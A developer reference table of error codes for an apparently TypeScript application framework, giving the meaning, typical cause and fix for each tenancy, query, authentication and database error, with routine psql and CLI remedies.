X_TENANCY_UNSCOPED	a tenant-scoped query has no org predicate	a repo call outside any request context, so there is no actor to derive the tenant from; a plan handed to the verify-only assertScoped() while an actor is present; or an upsertAll(rows, { onMatch: 'update' }) whose onConflict omits the tenant column — a collision there lands on another tenant's row	the cause says which of the two it is. No context: runWithContext(ctxOf({ actor }), fn) from the script or seed. Actor present: build the plan through scopedPlan(), or orgScoped(plan, ctx.actor.orgId). For the upsert: put the tenant column in onConflict
X_TENANCY_ACTOR_MISMATCH	a call named a tenant other than the actor's — as a query predicate, or as the tenant column of a row being written	an orgId that arrived as action input, a query string or a path parameter, passed into a repo call; or an insert/upsertAll row, or an update patch, naming another tenant — the cause names both tenants	drop the orgId argument, the actor's tenant scopes the plan; or act as that tenant with withChildContext({ actor }); a read that must span tenants is crossTenant('<why>', fn)
X_TENANCY_ACTOR_ORG_REQUIRED	the acting actor carries no tenant	anonymous, or a service actor minted without an orgId, reading a tenant-scoped entity	mint the actor with its tenant at the request boundary — userActor({ id, orgId }) — or crossTenant('<why>', fn)
X_TENANCY_CROSS_DENIED	a cross-tenant read was entered without the capability	crossTenant() called by an actor lacking tenancy:cross, or outside every request context — the capability is re-checked on every plan built inside the scope, so an actor swapped in by withChildContext() does not inherit the reach	mint the actor with the scope — serviceActor({ id: 'reconciler', scopes: ['tenancy:cross'] }) — run inside runWithContext(ctxOf({ actor }), fn), and wrap the reads in crossTenant('<why this spans tenants>', fn); the reason is required and non-blank, because it is what the next reader greps for
X_ACTION_POLICY_MISSING	an action was registered without a policy	build-time check on the action registry	add policy: can('<name>') to the declaration
X_QUERY_POLICY_MISSING	a query was registered without a policy	same, for reads	add policy: can('<name>') to the query
X_QUERY_NOT_PAGEABLE	a read returned rows with no id, so a cursor cannot name a position	a projection or aggregate that drops the primary key — the id is the tiebreak that makes the sort order total	return the key from the query's sql:, e.g. db.posts.select({ id: true, … })
X_QUERY_COLUMN_UNSELECTED	a read filters or sorts on a column its rows do not carry	from(entity, rows).where({ … }), .compare() or .orderBy() names a column the provider's rows lack — a loader that selected slug and updatedAt and a query filtering on status. It answered [] in silence until 22.0.0: absent is not "not equal", it is a read the loader never made. A present column holding null is a value, and an empty provider judges nothing	select the column in the loader — db.posts.select({ slug: true, status: true, publishedAt: true }) — or drop the filter the loader already applied
X_CURSOR_VALUE_UNSUPPORTED	a sort value cannot be carried in a cursor	a read ordered by a column whose values are objects, or by a number that is NaN/±Infinity — a cursor is JSON, and Date and bigint are the only non-JSON types it tags and revives. Raised where the cursor is MINTED, not where one arrives: the mistake is the read's own orderBy, so no retry and no fresh first page repairs it	order by a scalar column — .orderBy('createdAt') or .orderBy('id') — and project the composite value into the row instead
X_AGGREGATE_UNSUPPORTED	that column has no aggregate both drivers can answer alike	three conditions, one code, and the cause names which. A text column has no min/max the two drivers agree on — ordering is the database's collation in one and JS code-unit order in the other. avg over money is refused outright: the mean of an integer number of minor units is not one, so every answer would be a silent rounding. And a money sum past ±2^53 minor units has no JS number to hold it, and MoneyValue.minor is one	the fix names the exact call. For a wrong column, <entity>.<fn>('<candidate>') — the cause lists the columns that fn accepts, or says the entity declares none. For avg over money, <entity>.sum(col) and <entity>.count(), dividing at the call site where the rounding is a decision somebody made. For the overflow, narrow the rows with .andWhere(…)
X_AGGREGATE_MIXED_CURRENCY	an amount was aggregated across currencies	100 JPY and 100 EUR have no common unit, so a sum, min or max over them answers a number in no currency at all. Both drivers count the distinct currencies of the rows they are about to aggregate and refuse past one, rather than answering in whichever came first; the cause lists every currency it found. One currency at two scales is the same refusal with its own words and its own fix — the cause says 2 scales of USD, and a currency filter would keep both rows	<entity>.andWhere('<col>.currency', 'eq', '<CUR>').<fn>('<col>') — one currency per call — or countBy('<col>.currency') first to see the split. For a scale mix: for await (const rows of <entity>.inBatches(1000)) { … }, folding at one scale in the app
X_APPROXIMATE_COUNT_FILTERED	an estimate was asked of a filtered chain	approximateCount() reads reltuples out of pg_class, which knows nothing about a predicate, so posts.where({ orgId }).approximateCount() would answer for the whole TABLE while reading as "roughly how many of mine". Refused rather than answered, because the wrong answer is plausible and unbounded	<entity>.count() — the exact answer for a filtered chain. approximateCount() answers for the whole table only
X_QUERY_CACHE_TTL_INVALID	a query declares a cache ttlMs no tier can hold	cache: { ttlMs: Infinity }, 0, a negative value or NaN. Judged at query(), in the file that declared it, rather than on the first read: the tiers already refuse the value with X_CACHE_TTL_INVALID, so before this the mistake compiled, passed review, and made every read of that query fail permanently in production. The cause echoes the value rather than the query name — query() runs before defineApi() stamps a name, exactly as X_QUERY_INPUT_UNENCODABLE does	pass a positive, finite ttlMs, or drop the cache block — "do not cache" is expressed by not declaring one
X_QUERY_INPUT_UNENCODABLE	a query input cannot be carried in a query string	a read declaring a nested t.object/t.record/t.money member, an array or union of one, a REQUIRED t.nullable(...) member, or a top-level input that is not an object, or a member named _first or _after — the two page controls the route reads off the search string before the schema sees it. A read is served as GET /_x/query/<name>, so its input is characters: the typed client would encode a structure as JSON text and skip a null, and coerceQuery has no inverse for either. Raised at query(), in the file that declared it	flatten the key into scalar arguments (status: t.string, limit: t.number), spell an absent value as .optional() rather than t.nullable(...), or declare it as an action() if it really needs a JSON body
X_QUERY_SUBSCRIBES_INVALID	a query declares subscribed relations no live read can use	subscribes: [], or a subscribes: on a read that is not live: true. Judged at query(), in the file that declared it, like X_QUERY_CACHE_TTL_INVALID one field over — an empty list names no relation for the first subscribe to check, and a non-live read never reaches the cross-check at all, so an accepted one would be a declaration nothing verifies and nothing emits	name the relation the read selects from — subscribes: ['posts'] — or delete the field; on a read that should be subscribable, add live: true beside it
X_QUERY_SUBSCRIBES_DRIFT	a live query subscribes to a relation its own sql never reads	the declaration and the read disagree: subscribes: ['post'] while sql: returns from('posts', …). Thrown at the first subscribe, where the resolved QueryShape is the first thing that can say which relation the read really names — the string lives inside a callback nothing can invoke without valid input. A refusal and not a warning: a declaration that names the wrong relation is one its author reads as true	add the relation the cause names to that query's subscribes:, then x db gen
X_QUERY_SUBSCRIBES_UNKNOWN	a live query subscribes to a table no entity declares	subscribes: on a live: true query names a relation this app has no entity for — a typo, or a table that was renamed. Raised by x db gen and the drift step, the one tier holding both the manifest and the entity registry: @ultimat3/query has no table catalog and cannot see it. Since #518 x db gen grants no REPLICA IDENTITY FULL for subscribes: (a keyed table is correct on DEFAULT); the list is validated, never granted	edit subscribes: on the query the cause names to a table the app declares, or drop the name, then x db gen "retry after fixing subscribes" --json

Auth and sessions

Code	Means	Typical cause	Fix
X_SESSION_EXPIRED	session passed its idle or absolute expiry	cause names which of the two clocks ran out	sign in again, or raise session.absoluteTtlMs / session.idleTtlMs in defineAuth({ session }). The wiki used to name POST /auth/sign-in here; the framework mounts no such route, and the password half is the app's until it ships one
X_MFA_REQUIRED	password proven, second factor outstanding	the user has TOTP enrolled, and login() / completeOAuthLogin() throw before any session is written. meta.challenge is a sealed, five-minute credential for the second leg — meta, never cause: both public surfaces publish cause and drop meta, so the sign-in handler decides how it travels	catch X_MFA_REQUIRED in your sign-in handler, hand error.meta.challenge to the caller, and finish with await completeMfa(auth, challenge, code). No route ships. A wrong code is X_UNAUTHENTICATED and stays counted against the account, address and tenant buckets; past rateLimit.maxAttempts it is X_ACCOUNT_LOCKED. Sealing needs the app's master key — X_SEAL_KEY_MISSING without one
X_MFA_SECRET_INVALID	a TOTP secret that is not RFC 4648 base32, so it decodes to zero bytes	enrolTotp is handed an imported secret outside the alphabet, or totpCode is called with one. verifyTotp does not throw it — an unreadable stored secret reads as a non-verdict there, the same rule verifyAgainst follows for a password hash Bun cannot read, so a login checking a broken row gets a credential refusal rather than a 500	issue a fresh one and store it: const { secret } = enrolTotp(auth, { account: user.email }). An imported secret must be base32 (A-Z and 2-7; padding, spaces and dashes are ignored) and must decode to at least one byte. Zero bytes is not a decode that failed closed: an HMAC keyed with zero bytes is a valid HMAC, so every unreadable secret in the table used to verify against one shared code stream that needed no secret to compute
X_OAUTH_STATE_INVALID	state, nonce or PKCE verifier did not match	a replayed callback URL, a handshake that expired, or a token minted for another browser	restart the flow at GET /auth/sso/<provider> — a callback URL is single-use
X_OAUTH_EXCHANGE_FAILED	the provider refused the exchange or returned no usable identity	wrong client secret, an unregistered redirect_uri, a spent code, or a missing scope. Also a discovery document that declares a different issuer than the one asked for, and a key set with no importable key (the cached keys are kept). Not the user pressing Cancel — that is X_OAUTH_DENIED	meta.stage is token or userinfo: for token, match <PROVIDER>_CLIENT_SECRET and the registered redirect_uri, then x doctor --json; for userinfo, restart at GET /auth/sso/<provider>
X_OAUTH_TOKEN_INVALID	the id token failed its signature, issuer, audience or expiry check	As of 2026-08 the signature is verified too, against the issuer's published key set through a JWKS client — until this cycle the token was decoded and its claims read, so a token minted by whoever posted it to the callback passed every check it faced. Also: a token that is not a three-segment JWT, a payload with no iss/sub/exp/aud, a client id in .env that is not the one the authorize URL was built with, or a skewed host clock	the fix branches on which check failed — for a signature, confirm the token came from the provider's token URL and was not minted by the caller; for the rest, match <PROVIDER>_CLIENT_ID to the id beginOAuth() used, then restart at GET /auth/sso/<provider>
X_OAUTH_PROVIDER_DUPLICATE	two oauth providers were registered under one id	two registerOAuthProvider calls claiming one id. Refused at boot rather than replacing silently, because the winner would be whichever module imported second — and it decides where every login for that id goes, including which issuers an id token may claim	give one of them a different id, or delete the duplicate registerOAuthProvider({ id: '<id>' }) call
X_OAUTH_PROVIDER_UNKNOWN	the URL named a provider this app has not enabled	the :provider segment is not a known provider, or is one but was left out of defineAuth({ providers }); also providerFor() reaching for an id nothing registered. One refusal for all of them: distinguishing them would describe the app's configuration to an anonymous caller	registerOAuthProvider({ id: '<id>' }) if it is not built in, then add that id to defineAuth({ providers: [...] }) — the registration comes first because a segment nothing registered cannot be added to providers at all, so "add it" alone was an instruction that could not be followed. The list the fix prints is what is known here, never the subset this app enabled, and meta carries only { provider }
X_OAUTH_DENIED	the user or the provider declined the authorization	error= on the callback redirect — nearly always the consent screen's Cancel. Split out of X_OAUTH_EXCHANGE_FAILED so the commonest non-success outcome of a login stops paging on-call as a 502 provider outage	restart at GET /auth/sso/<provider> and approve the consent screen; nothing is wrong with the app
X_PASSWORD_WEAK	strength check rejected the password	too short, or a known-common password	choose a longer, uncommon password — or relax defineAuth({ password: { minLength } })
X_ACCOUNT_LOCKED	per-ip, per-account or per-org bucket is inside its lockout	repeated failed attempts — password or second-factor code. cause names the caller's own key (an address or an email) and the seconds left; a locked org is never named, because its id was looked up from the address the caller typed. The wiki used to name x auth unlock <key>, a command that has never existed	wait out the seconds cause names — or clear this one bucket: await auth.limiter.recordSuccess('<key>'), await auth.orgLimiter.recordSuccess(orgKey(user.orgId)) for a tenant — or raise defineAuth({ rateLimit }). Never reset(): it drops every bucket in the table, including the spray this lockout is holding
X_AUTH_LIMITER_NOT_SHARED	the app declared a fleet-wide credential throttle and the limiter keeps its counters per process	defineAuth({ rateLimit: { scope: 'shared' } }) against the built-in limiter, whose scope is 'process' — account lockout would be maxAttempts × replicas, and a lockout on one replica invisible to the others. Refused at defineAuth, never at a request	pass a shared AuthLimiter to defineAuth({ limiter }), or drop to scope: 'process'
X_AUTH_LIMITER_POLICY_MISMATCH	a custom credential limiter enforces different numbers than the app declared	defineAuth({ limiter }) where the limiter's own policy disagrees with the declared rateLimit on maxAttempts, windowMs or lockoutMs. Auth.rateLimit is what an operator reads as "what this deployment enforces", and an injected limiter could leave nothing behind it. The cause names both numbers and says which half is likely wrong; maxKeys is deliberately not compared, since it bounds one process' table and a shared limiter has no opinion on it	construct the limiter with the declared number — the declaration is what Auth.rateLimit reports, so it is the half that stays. If the limiter's number is the one this deployment means, change the declaration instead; meta carries { field, declared, enforced }
X_API_KEY_INVALID	key unknown, revoked, expired, wrong, or owned by a user who is gone or disabled	one shape for all of them — a precise message is an enumeration oracle, so which it was is not named here and never will be. The wiki used to name x auth keys list --json, a command that has never existed	issue a replacement: const { plaintext, record } = issueApiKey({ env, scopes }); await auth.adapter.putApiKey(record) — auth.adapter.listApiKeys(ownerId) through describeApiKey() shows which keys are still live
X_AUTH_WRITE_FAILED	an adapter write returned no row, so it cannot be confirmed	an insert … returning * wrote nothing — the table is missing its migration, or a trigger or RLS policy swallowed the row. Also a write one of x_users' own unique constraints refused — a second row at one email, external_id or id, on createUser or updateUser; meta.column names which, and memoryAuthAdapter() and postgresAuthAdapter() answer the same code (As of 2026-10; Postgres answered X_DB_UNIQUE_VIOLATION before). Also an OAuth sign-in whose updateUser returned no row for the provider-verified stamp (emailVerifiedNotStored; X_NOT_IMPLEMENTED before As of 2026-10) — the flow fails closed rather than sign in a user every later login reads as unverified. This page printed x db query until 1.2.0; the db subcommands are gen, migrate, reset, studio, branch and backfill	x db migrate, then confirm the table with psql "$DATABASE_URL" -c "select 1 from x_users limit 1"
X_MFA_SECRET_UNSEALED	a stored totp secret is not sealed, so it is never read as one	x_users.mfa_secret holds a value written before second-factor secrets were sealed at rest (or written past saveTotpSecret); the framework does not read a plaintext secret, so that account cannot finish a second factor until the value is sealed	x auth seal-mfa --json
X_AUTH_SIGN_IN_UNCONFIGURED	a people-facing role started with no sign-in settings outside development and test	x g sign-in wrote a boot guard, and a web or sync role started with the sign-in env keys unset	export <KEY>="<value>" for every unset key the cause names — in the role's deployed environment (compose environment:, the platform's secrets), then restart the role
X_AUTH_SERVER_INVALID	the authorization server was configured with a field it cannot run on	authorizationServer() was handed a bad issuer, consentPath or lifetimes, or a grant was named without the lifetime, path or store method it needs	authorizationServer({ <field>: … }) # the field the cause names
X_AUTH_CONSENT_INVALID	a consent was approved for a request the authorization server refuses	approve() or deny() was handed a request readRequest(url) would refuse — an unknown client, an unregistered redirect, a scope the client never asked for	server.readRequest(url) # on the consent page: render its refusal, approve only what it returned
X_AUTH_GRANT_DISABLED	a token request named a grant this authorization server does not enable	the client posted a grant_type that is not in authorizationServer({ grants })	authorizationServer({ grants: ['authorization_code', 'refresh_token', '<grant>'] }) # with its lifetime
X_VERIFICATION_PURPOSE_INVALID	a verification purpose was declared twice or without a template	defineVerificationPurpose() was handed a name already declared, an empty name or no template	defineVerificationPurpose({ name: '<unique-name>', template: 'auth.<name>', ttlMs })
X_VERIFICATION_PURPOSE_UNKNOWN	a verification token was issued or consumed for a purpose nothing declared	issueVerification or consumeVerification named a purpose no defineVerificationPurpose() call declared at boot	defineVerificationPurpose({ name: '<purpose>', template: 'auth.<purpose>', ttlMs }) # once, at boot
X_PASSKEY_INVALID	a passkey ceremony response failed its signature, origin, rp id, flag or counter check	the assertion or attestation was forged, tampered with, made for another origin or rp id, made without user verification, or came from a cloned authenticator whose signature counter went backwards	x errors explain X_PASSKEY_INVALID --json, then start the ceremony again: await passkeys.loginOptions()
X_PASSKEY_CHALLENGE_EXPIRED	a passkey ceremony named a challenge that is unknown, already used or past its ttl	the response was replayed, the options were issued by another ceremony, or the person took longer than the challenge ttl	x errors explain X_PASSKEY_CHALLENGE_EXPIRED --json, then fetch fresh options and run the ceremony once: await passkeys.loginOptions()
X_PASSKEY_STEP_UP_REQUIRED	a sensitive action ran without a fresh user-verified passkey proof for its digest	the call carried no assertion, or the assertion approved other bytes than the ones this call would act on	x errors explain X_PASSKEY_STEP_UP_REQUIRED --json, then fetch stepUp.options({ userId, input }), run getPasskey(options) in the browser and resend the call with the response
X_SAML_RESPONSE_INVALID	a saml response failed its signature, wrapping, audience, recipient, time, InResponseTo or replay check	the IdP signing certificate rotated, the SP entity id or ACS URL differs from what the IdP has configured, the clocks are skewed, or the response was tampered with or replayed	edit the samlIdentityProvider({ metadata, spEntityId, acsUrl }) call: paste the IdP current metadata XML and the entity id and ACS URL the IdP application is configured with
X_SAML_METADATA_INVALID	saml IdP metadata has no entity id, HTTP-Redirect sign-on endpoint or signing certificate	the metadata XML was truncated, is SP metadata rather than IdP metadata, or names only an HTTP-POST sign-on endpoint	download the IdP metadata again from its federation metadata URL and pass the whole XML to samlIdentityProvider({ metadata })
X_IDENTITY_PROVIDER_UNKNOWN	the URL named an identity provider the sso routes were not given	a sign-in link or the IdP ACS URL carries an id that no entry in identityProviderRoutes({ providers }) declares	add the provider to identityProviderRoutes({ providers: [...] }), or correct the id in the link and in the IdP ACS URL

GET /auth/sso/<provider> is the app's route to mount, not one the framework serves. Every OAuth fix above is reachable only where the host routes matching requests to oauthLogin(auth).start.handle; oauthLogin() supplies the descriptors and nothing else mounts them. The thrown fix: and the descriptor's path both read the one declaration in oauth-paths.ts, so the string cannot go stale — but As of 2026-08 serve.ts composes a fixed set of route tables with no seam for a raw Route, so nothing x new scaffolds mounts the pair and an app that has not mounted it itself answers that path with a 404.

Entity and database

Code	Means	Typical cause	Fix
X_RECORD_KEY_MISSING	a row reached its record key without a primary-key value	an entity row reached the client-record path, either rowsOf building the record envelope or recordProjection(e).key, and one of its primary-key columns was missing or not a string, number, bigint, boolean or valid Date. A handler built the row by hand, or handed a partial row where the output schema declared the entity's row. Refused rather than keyed as undefined, because two keyless rows would be one record	x entities show <entity> --json lists the primary key. Return the whole row (every primary-key column) from the handler that built this one
X_DB_DRIFT	schema differs from migrations	a column exists in code but in no migration — or, on an app that declares an entity and has generated no migration yet, packages/db has a schema but no migration recorded it. An app declaring no entity is not drifting: zero declared against zero recorded is agreement. As of 2026-11-02 also the dump holds a column no migration's snapshot records (drift, no database): an applied migration was edited and regenerated into packages/db/schema/	x db gen "<describe the change>" then x db migrate; on a fresh scaffold that is x db gen "initial". A column no entity declares comes out of that as an empty diff: declare it, or restore the migration and x db reset. The dump case: git checkout -- packages/db/migrations packages/db/schema. The one difference this does not fix is unknown-schema — see X_MIGRATION_SNAPSHOT_MISSING below, whose two remedies it shares
X_DB_SCHEMA_UNMIGRATED	an entity declaration no migration recorded	the half X_DB_DRIFT cannot see: that check compares a schema-source hash and never reads the SQL, so a committed migration smaller than its declaration passes. Measured on dummy/social-media-clone, whose drift was GREEN while nine declared CHECK constraints had never reached any database — a comment body could be whitespace, a like count could go negative, an email needed no @. Compares snapshotOf(describeEntities()) against the newest .snapshot.json, so it needs no database connection. Also names a table a channel with params or a live query's subscribes: needs REPLICA IDENTITY FULL on when no migration recorded it (As of 2026-10-02): that need is a realtime declaration, so no entity hash moves when the channel is added	bun run x -- db gen "describe the change" — the generated migration is additive, one add constraint per finding
X_DB_SCHEMA_UNDECLARED	a migration records schema no entity declares	the other direction, and a different repair: the database carries a constraint, column or index the entities no longer ask for. Reported separately from X_DB_SCHEMA_UNMIGRATED because "your database is missing this" and "your last generation lost something" are not one finding	delete the stale declaration, or bun run x -- db gen "drop what the entities no longer declare" if the removal is intended
X_ENTITY_DUPLICATE	two entities claim the same name	copy-pasted entity({ name })	rename one; x entities list --json
X_INVARIANT_VIOLATED	a domain invariant rejected this row	a CHECK or a declared invariant failed. This page printed x entity explain until 1.2.0; the registry command is plural and its subcommands are list and show	x entities show <entity> --json — every invariant with its kind, message, sql and where
X_NOT_FOUND	no row for that id	stale id, wrong tenant, or already deleted — or a single: true query's GET /_x/query/<name> whose sql matched no row (404; fix: x queries show <name> --json)	confirm with psql "$DATABASE_URL" -c "select id from <table> limit 5" — x db has no query subcommand
X_WRITE_UNFILTERED	deleteWhere(), updateWhere() or a chain's updateAll()/deleteAll() named no filter	an empty filter, one whose only value came back undefined, or a chain predicate holding undefined — the two look identical at the call site, and either would reach every row	name the columns that bound it, e.g. db.likes.deleteWhere({ postId, userId }) or db.likes.where({ postId, userId }).deleteAll(). A deliberate whole-table write is a migration: x db gen "<name>"
X_PATCH_EMPTY	updateWhere(), a chain's updateAll() or updateMany() named no columns to write	an empty patch, or one whose only value came back undefined — reporting "n rows updated" for a statement that set nothing is the silent no-op the count exists to prevent	name the columns to write, e.g. db.participants.updateWhere({ conversationId, userId }, { lastReadAt }) or db.participants.where(filter).updateAll({ lastReadAt })
X_PRELOAD_UNKNOWN_RELATION	no relation of that name on this entity	a typo, or a relation the schema never declared — relations are derived from references() columns, so there is no list to read them off	the fix is a call on one that exists, e.g. relationNamed('posts', 'author') # or: org, likes. No foreign key at all ⇒ x entities list --json, then add .references(() => <target>.id) to the column that points at one
X_N_PLUS_ONE_QUERY	a read repeated once per row	one lookup per row of a page — members.findById fifty times where one in statement would answer. Counted per request by the statement ledger x dev installs, and never counted in production. Reported on four surfaces at once: x dev's findings, /_x/timeline's nPlusOne, the browser overlay under the error, and one logger.warn per request per code. Thrown in one place only — a test that destructures @ultimat3/testing's statements fixture, where the loop's fifth statement rejects and fails the test	the fix is the preload the schema already declares, e.g. db.posts.preload('author'). No relation points at the entity ⇒ the batched form of the same read, db.members.andWhere('id', 'in', ids).all(). A loop that is genuinely one statement per row is declared, not silenced: expectedQueryLoop('<why>', fn)
X_N_PLUS_ONE_WRITE	a write repeated once per row	one insert, update or delete per row of a set, where one statement writes all of them. Same four surfaces as the read above, same ledger, and the same throw inside the statements fixture	the bulk form of the same call: db.posts.insertAll(rows), db.posts.updateWhere(filter, patch), db.posts.deleteWhere(filter) — or expectedQueryLoop('<why>', fn) when the loop is deliberate
X_SEARCH_UNDECLARED	this entity has no searchable column	a matches predicate on an entity whose columns declare no .searchable(), so there is no tsvector to match against. Raised where the STATEMENT would be built and not where the chain was written, because both drivers reach it: a search vector is derived from the entity's own columns, so there is nothing else the predicate could name and no vector to guess at. 500 and not a 4xx — nothing the caller sends changes the answer, and the repair is an edit to the entity	add .searchable() to a text() column of <entity>, then: x db gen "search <entity>"
X_SEARCH_IN_MEMORY	the in-memory driver cannot answer a full-text match	a search run against memoryDriver(). REFUSED rather than emulated, and that is the whole decision: to_tsvector stems, drops stop words and applies a language's own rules, and websearch_to_tsquery parses quoted phrases and -negation — a JS token comparison is a DIFFERENT question with the same shape, so it would answer green in a unit test and differently in production, which is the one outcome the two-driver split exists to prevent. 500 for the same reason as the row above	move this read into a <name>.live.test.ts and run it with TEST_DATABASE_URL set — bun test packages/entity/src/pg-search.live.test.ts is the model
X_STATE_UNDECLARED	that column declares no state machine	transition() on a column with no .transitions() — a declaration bug and not a caller's, which is why cause lists the columns that DO declare one: the repair is naming a different column or writing the table, and both are edits to source. 500, the same shelf as X_SEARCH_UNDECLARED	add .transitions(…) to <entity>.<column> — it must be an enumerated() column, and every value that set declares needs an entry. When other columns already declare a machine, the fix lists those instead
X_STATE_TRANSITION_ILLEGAL	the machine has no such transition	three conditions and one code, because they share one repair — the move is not in the table — and cause states which. "<from>" is not a state the enumerated() set declares; the row is terminal in "<from>", an empty move list being how a terminal state is written; or the move to "<to>" was never declared. The unknown-state branch is separate because an unknown state has no outgoing moves either, so a single "no legal moves" answer reported a typo as "the row is terminal in <typo>" — a sentence about a state that does not exist. 422 and not 400: the request is well formed and its schema passed, which is X_INVARIANT_VIOLATED's shape and takes its status. Refused before any statement opens a connection, so nothing was written	the fix is the same call with a legal target substituted — orders.transition('status', id, { from: 'pending', to: 'paid' }) — or add "<to>" to the "<from>" entry of the transitions() table
X_STATE_CONFLICT	the row changed after the read this transition was decided on	the lost update, caught: two callers both read pending, both found the move legal, and the second one's statement carried status = 'pending' in its predicate and matched nothing. Or the row is still in from but a column the deciding policy read (move.observed, #702) changed — cause names the column, never its value. The state in cause is read back AFTER the refusal, so it is a diagnosis and never the decision — the decision was the statement, and it was atomic. 409 and not 422: nothing is wrong with the request, the identical one succeeds a moment later, and re-read-and-retry is precisely what a 409 tells a client to do	re-read the row and decide again against the state cause names: orders.findById(id) — a transition names the state it expects, so a stale read is refused rather than overwritten
X_DB_UNAVAILABLE	cannot reach the database	nothing listening on DATABASE_URL, a closed pool, or @electric-sql/pglite not installed for a pglite:// url — every failure that never reached a server, and As of 2026-09-05 only those: a failure carrying a SQLSTATE is proof the server answered and is one of the two rows below. The driver's own words ride in the cause (ECONNREFUSED 127.0.0.1:5432). As of 2026-11-02 also a plain statement with no answer past the role's statement timeout + 5 s: the cause names the bound and the statement, the pool is replaced and the next statement opens a new one, and an autocommit write may have landed. Unclassified for retry, so a job worker re-runs the attempt: that write runs again, at least once	set DATABASE_URL to a reachable Postgres, or x dev for the embedded PGlite — bun add @electric-sql/pglite when the url is pglite://
X_DB_SCHEMA_STALE	the statement names a table or column the database does not have	SQLSTATE 42P01 / 42703 — an entity edited before the migration that adds its column ran, on either driver (PGlite under x dev included). The cause leads with [SQLSTATE 42703] column "host_id" does not exist and carries the statement after it, excerpted, so the column list can never push the message off the line	x db gen "<what changed>" && x db migrate — only the migrate half when the migration already exists
X_DB_STATEMENT_FAILED	the database refused the statement	any SQLSTATE the table does not classify — a syntax error, a data exception, a check or not-null violation. The server's verdict, so re-running it gives the same verdict, and the connection is not the problem. 25P03 is the exception to that reading: the server closed a transaction idle past idleInTransactionMs, and its fix is to do slow outbound work before opening the transaction	read the SQLSTATE and message in the cause; psql "$DATABASE_URL" -c "<the statement>" reproduces it by hand
X_DB_UNIQUE_VIOLATION	a unique constraint rejected the row	SQLSTATE 23505 — two clicks racing a signup, or an insert where an upsert was meant. One of six driver failures that used to reach the caller as X_DB_UNAVAILABLE, whose fix reads "set DATABASE_URL to a reachable Postgres": a raced signup paged on-call for an outage that never happened. meta.constraint names the index the server refused on	upsertAll(rows, { onConflict: [...] }) over the columns the constraint cause names — or catch X_DB_UNIQUE_VIOLATION and answer 409, which is what a raced signup is
X_DB_FOREIGN_KEY_VIOLATION	a foreign key constraint rejected the row	SQLSTATE 23503 — the parent row is absent, was deleted between the read and the write, or belongs to another tenant (a same-tenant key answers absent and foreign alike, and the memory driver refuses only the second). meta.constraint names the key	insert the row the constraint cause names points at first, in the same withTransaction(...) — or drop the write, because the parent it names is gone or is not this tenant's
X_DB_SERIALIZATION_FAILURE	the transaction lost a serialization race	SQLSTATE 40001 or 40P01 — a serializable transaction whose read set another commit invalidated, or a deadlock the server broke. Retryable by definition, which is why it is its own code and not an outage	withTransaction(fn, { retry: 3 }) — fn re-runs from the top, so it must be idempotent
X_DB_STATEMENT_TIMEOUT	the statement ran past its statement_timeout	SQLSTATE 57014 — a sequential scan where an index was assumed, or a plan that changed under a grown table. On the memory driver, a lock or lockKey waiter past 5 s: usually two locks taken in opposite order	add the index this statement needs to the entity (indexes: [...]), then x db gen "add index"
X_DB_LOCK_TIMEOUT	the statement waited past its lock_timeout	SQLSTATE 55P03 — usually a DDL statement queued behind a long transaction holding the same table, which then blocks every reader behind it.	x db diagnostics --json | jq '.data.blockers.rows[] | {pid, blockedBy, blockerState}' — end the blockedBy session or wait for it, then re-run the statement
X_DB_POOL_EXHAUSTED	no connection was available	SQLSTATE 53300 from the server, or the local pool answering nothing inside acquireTimeoutMs, for a plain statement as for a transaction (As of 2026-11-02) — deliberately one code, because to a caller both mean "there was no connection for this unit of work" and a second code would split one runbook in two. Refused rather than queued forever: a hang makes /readyz join the queue, the kubelet kills the pod, and the next pod inherits the same saturated database	set DATABASE_POOL_MAX below max_connections / replicas (per-role default: POOL_PROFILES), or cut the replica count
X_DB_DRAIN_TIMEOUT	the pool did not drain inside its shutdown budget	As of 2026-08-27: close() gave up waiting for a role's pool to hand its connections back. Bun.SQL's end() waits on an outstanding RESERVED connection and never stops — measured three runs per case on Bun 1.3.14 and 1.4.0, with the database perfectly healthy — so before PoolProfile.drainTimeoutMs a shutdown that met a pinned connection never finished, and the operator's only signal was a container that burned its whole termination grace period before SIGKILL. Raised on the elapsed time, because the driver RESOLVES when it gives up rather than rejecting: a drain that silently abandoned in-flight work looked exactly like a clean one. migrate and replicator are 0 and still wait forever, deliberately — a run-once role cutting off its own session mid-statement is worse than a slow exit	find the statement that will not finish — psql "$DATABASE_URL" -c "select pid, state, query from pg_stat_activity where state <> 'idle'" — or raise drainTimeoutMs in postgresClient({ profile }) for the role cause names
X_MIGRATION_CONFLICT	the migration ledger disagrees with this build	a ledger row from an app version this build does not ship, an applied migration whose file was edited so its checksum moved, or a rollback aimed at a row whose down SQL exists only in the build that shipped it. The wiki used to name x db status --json here; that command has never existed — the db subcommands are gen, migrate, reset, studio, branch and backfill — and this is one of the two errors most likely to fire during a real deploy. One narrow exception is not a conflict (As of 2026-10-05): when every unknown ledger row sorts after the newest migration the build ships, and the build has no migration left to apply, the migrator reads it as a rollback onto a newer build's schema — it applies nothing, logs ultimate migrate ledger ahead of build and returns the ids as ahead. Every other rollback state is still X_MIGRATION_CONFLICT: an unknown row between shipped migrations, a shipped migration this database never applied, or a build that ships no migrations at all	the fix branches on which half disagreed. Foreign ledger row: deploy the app version cause names, or drop its row — psql "$DATABASE_URL" -c "delete from x_migrations where id = '<id>'". Moved checksum: git log -- packages/db/migrations/<id>.sql, then git checkout <rev> -- … the revision whose checksum the ledger names (a committed edit is what HEAD holds), never edit an applied migration, then x db gen "<change>". x db gen alone exits 0 and writes the edit into the schema dump. Unknown down: read the ledger with psql "$DATABASE_URL" -c "select id, app_version from x_migrations order by id desc limit 5" and roll back on the build that shipped it
X_MIGRATE_CONCURRENT	another migrator holds the migration lock	two overlapping deploys, or a migrator wedged on a partition — or OOM-killed with its backend still alive — still holding pg_advisory_lock(<key>) when the wait ran out. pg_advisory_lock blocks with no timeout, so that case left helm upgrade --wait sitting inside one statement, printing nothing, with the job never failing so backoffLimit never fired. As of 2026-08 a bounded pg_try_advisory_lock poll turns it into an exit code	psql "$DATABASE_URL" -c "select pid, application_name, state from pg_stat_activity join pg_locks using (pid) where locktype = 'advisory'" — pg_terminate_backend(pid) the wedged migrator, then x db migrate
X_MIGRATION_IRREVERSIBLE	this migration cannot be reversed without data loss	a generated plan that drops a column or a table	x db gen "<name>" --allow-destructive, or put the column back in columns and keep it
